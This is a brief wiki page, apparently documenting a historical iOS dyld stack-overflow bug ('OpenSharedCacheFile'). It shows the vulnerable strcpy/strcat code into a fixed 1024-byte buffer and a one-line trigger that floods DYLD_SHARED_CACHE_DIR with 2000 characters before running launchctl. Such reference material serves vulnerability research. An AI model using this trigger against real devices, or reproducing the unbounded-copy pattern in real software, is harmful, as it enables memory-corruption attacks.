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OpenSharedCacheFile
Revision as of 22:12, 23 March 2015 by Awesomebing1 (talk | contribs) (Undo revision 45155 by Awesomebing1 (talk) sorry about that, misread it)
The OpenSharedCacheFile bug was found by i0n1c. This bug is a simple stack overflow.
int openSharedCacheFile()
{
char path[1024];
strcpy(path, sSharedCacheDir);
strcat(path, "/");
strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);
return ::open(path, O_RDONLY);
}
Triggering the vuln
To trigger it, run the following
DYLD_SHARED_CACHE_DIR = “A” * 2000 \ DYLD_SHARED_REGION = private /bin/launchctl
This will overflow the PC register making it a stack overflow.
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